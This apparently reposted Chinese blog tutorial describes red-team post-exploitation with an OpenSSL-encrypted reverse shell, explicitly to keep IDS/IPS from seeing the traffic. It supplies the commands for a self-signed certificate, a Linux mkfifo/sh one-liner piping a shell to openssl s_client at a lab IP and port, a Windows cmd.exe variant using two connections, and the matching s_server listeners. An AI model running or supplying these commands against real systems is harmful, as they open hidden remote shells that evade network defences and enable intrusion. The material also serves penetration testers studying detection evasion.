使用 OpenSSL 反彈加密 shell


Referrence:https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/

目錄

前言

在進行紅隊滲透測試的后滲透階段為了進一步橫行滲透往往需要反彈 shell,這里列出了使用各種語言進行反彈 shell 的方法,我發現這種反彈 shell 方式都有一個缺點,那就是所有的流量都是明文傳輸的

我們使用 nc 反彈 shell 進行測試

使用 wireshark 可以直接看到我們執行的命令和返回信息

在這種情況下當我們進行操作時,網絡防御檢測系統(IDS、IPS等)會獲取到我們的通信內容並進行告警和阻止,因此需要對通信內容進行混淆或加密,這時可以選擇使用 OpenSSL 反彈一個加密 shell。

OpenSSL 簡介

在計算機網絡上,OpenSSL 是一個開放源代碼的軟件庫包,應用程序可以使用這個包來進行安全通信,避免竊聽,同時確認另一端連接者的身份

利用 OpenSSL 反彈 shell 之前需要生成自簽名證書

使用 OpenSSL 生成證書自簽名證書

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自簽名證書時會提示輸入證書信息,如果懶得填寫可以一路回車

使用 OpenSSL 反彈加密 shell

Linux

假設我們從 A 主機反彈 shell 到 B 主機

------------------                  ----------------------
| A:172.16.1.175 |  --- shell ---> | B:172.16.1.174:1337 |
------------------                  ----------------------

首先需用利用上一步生成的自簽名證書,在 B 主機上使用 OpenSSL 監聽一個端口,在這里使用 1337 端口

命令為:

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

此時 OpenSSL 在 1337 端口上啟動了一個 SSL/TLS server

這時在 B 主機進行反彈 shell 操作,命令為:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s

這樣就使用 OpenSSL 反彈了一個加密的 shell

效果如下:

使用 wireshark 抓包可以看到,A 和 B 主機之間在使用 TLS1.2 協議進行加密通信

Windows

在 Windows 系統上反彈加密 shell 的方式有點不一樣

具體命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

以上命令會從 [ip]:[port1] 獲取命令發送給 cmd.exe執行,然后把結果返回到 [ip]:[port2]

因此在本機需要啟動兩個 s_server

port1 發送命令到 cmd

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1] 

port2 獲取發送給 port1 的命令執行結果

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]

OpenSSL 還有很多功能,這里詳細的列出了 OpenSSL 的常見使用方法

在滲透測試時,還可以使用 OpenSSL 搭建簡易 HTTPS Server

使用 OpenSSL 搭建簡易 HTTPS Server

使用以下命令前需要使用 OpenSSL 生成證書自簽名證書,命令在上文中已給出

openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW

以上命令在 44330 端口啟動了一個 HTTPS Server

參考鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM